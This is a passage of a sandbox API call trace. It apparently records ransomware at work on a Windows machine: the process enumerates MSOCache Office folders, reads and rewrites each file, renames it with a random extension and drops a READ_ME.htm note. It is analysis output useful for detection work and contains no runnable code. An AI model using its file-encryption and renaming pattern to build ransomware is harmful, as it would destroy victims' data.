ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.036] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.037] SetErrorMode (uMode=0x0) returned 0x1 [0134.037] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0134.037] SetErrorMode (uMode=0x1) returned 0x0 [0134.037] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.039] GetFileType (hFile=0x1d0) returned 0x1 [0134.039] SetErrorMode (uMode=0x0) returned 0x1 [0134.039] GetFileType (hFile=0x1d0) returned 0x1 [0134.039] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x400 [0134.039] ReadFile (in: hFile=0x1d0, lpBuffer=0x29ecec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29ecec8*, lpNumberOfBytesRead=0x21d4d8*=0x400, lpOverlapped=0x0) returned 1 [0134.113] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0134.114] SetErrorMode (uMode=0x1) returned 0x0 [0134.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.115] GetFileType (hFile=0x1d0) returned 0x1 [0134.115] SetErrorMode (uMode=0x0) returned 0x1 [0134.115] GetFileType (hFile=0x1d0) returned 0x1 [0134.115] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cebd8*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28cebd8*, lpNumberOfBytesWritten=0x21d478*=0x410, lpOverlapped=0x0) returned 1 [0134.117] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0134.118] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml.p4of38", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml.p4of38", lpFilePart=0x0) returned 0x52 [0134.118] SetErrorMode (uMode=0x1) returned 0x0 [0134.118] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66266080, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x66266080, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0x4c88cd20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0134.118] SetErrorMode (uMode=0x0) returned 0x1 [0134.118] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml.p4of38" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml.p4of38")) returned 1 [0134.119] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.119] SetErrorMode (uMode=0x1) returned 0x0 [0134.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.121] GetFileType (hFile=0x1d0) returned 0x1 [0134.121] SetErrorMode (uMode=0x0) returned 0x1 [0134.121] GetFileType (hFile=0x1d0) returned 0x1 [0134.121] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x17b3 [0134.121] ReadFile (in: hFile=0x1d0, lpBuffer=0x28d0828, nNumberOfBytesToRead=0x17b3, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28d0828*, lpNumberOfBytesRead=0x21d4d8*=0x17b3, lpOverlapped=0x0) returned 1 [0134.142] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.142] SetErrorMode (uMode=0x1) returned 0x0 [0134.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.143] GetFileType (hFile=0x1d0) returned 0x1 [0134.143] SetErrorMode (uMode=0x0) returned 0x1 [0134.144] GetFileType (hFile=0x1d0) returned 0x1 [0134.144] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b7d08*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29b7d08*, lpNumberOfBytesWritten=0x21d558*=0x17c0, lpOverlapped=0x0) returned 1 [0134.145] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.145] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml.jh7mub", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml.jh7mub", lpFilePart=0x0) returned 0x4f [0134.146] SetErrorMode (uMode=0x1) returned 0x0 [0134.146] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4c8b2e80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x17c0)) returned 1 [0134.146] SetErrorMode (uMode=0x0) returned 0x1 [0134.146] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml.jh7mub" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml.jh7mub")) returned 1 [0134.147] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en", lpFilePart=0x0) returned 0x47 [0134.147] SetErrorMode (uMode=0x1) returned 0x0 [0134.147] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.148] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2c09d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2c09d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1e33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbacf58c0, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbacf58c0, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x201000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.149] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.149] SetErrorMode (uMode=0x0) returned 0x1 [0134.149] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en", lpFilePart=0x0) returned 0x47 [0134.150] SetErrorMode (uMode=0x1) returned 0x0 [0134.150] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2c09d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2c09d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1e33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbacf58c0, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbacf58c0, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x201000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0134.151] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.151] SetErrorMode (uMode=0x0) returned 0x1 [0134.151] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.151] SetErrorMode (uMode=0x1) returned 0x0 [0134.151] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.152] GetFileType (hFile=0x1d0) returned 0x1 [0134.152] SetErrorMode (uMode=0x0) returned 0x1 [0134.152] GetFileType (hFile=0x1d0) returned 0x1 [0134.152] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x613 [0134.152] ReadFile (in: hFile=0x1d0, lpBuffer=0x29bcc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29bcc30*, lpNumberOfBytesRead=0x21d418*=0x613, lpOverlapped=0x0) returned 1 [0134.232] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.232] SetErrorMode (uMode=0x1) returned 0x0 [0134.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.234] GetFileType (hFile=0x1d0) returned 0x1 [0134.234] SetErrorMode (uMode=0x0) returned 0x1 [0134.234] GetFileType (hFile=0x1d0) returned 0x1 [0134.234] WriteFile (in: hFile=0x1d0, lpBuffer=0x289fbd8*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x289fbd8*, lpNumberOfBytesWritten=0x21d3b8*=0x620, lpOverlapped=0x0) returned 1 [0134.235] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0134.235] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml.n3voag", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml.n3voag", lpFilePart=0x0) returned 0x58 [0134.235] SetErrorMode (uMode=0x1) returned 0x0 [0134.235] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0x4c9976c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x620)) returned 1 [0134.235] SetErrorMode (uMode=0x0) returned 0x1 [0134.236] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml.n3voag" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml.n3voag")) returned 1 [0134.236] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0134.237] SetErrorMode (uMode=0x1) returned 0x0 [0134.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.237] GetFileType (hFile=0x1d0) returned 0x1 [0134.237] SetErrorMode (uMode=0x0) returned 0x1 [0134.237] GetFileType (hFile=0x1d0) returned 0x1 [0134.237] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a4a78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28a4a78*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0134.239] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es", lpFilePart=0x0) returned 0x47 [0134.239] SetErrorMode (uMode=0x1) returned 0x0 [0134.239] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.241] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.241] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e4a700, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x18e4a700, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcbb9bb00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd43dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0134.241] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3553370, 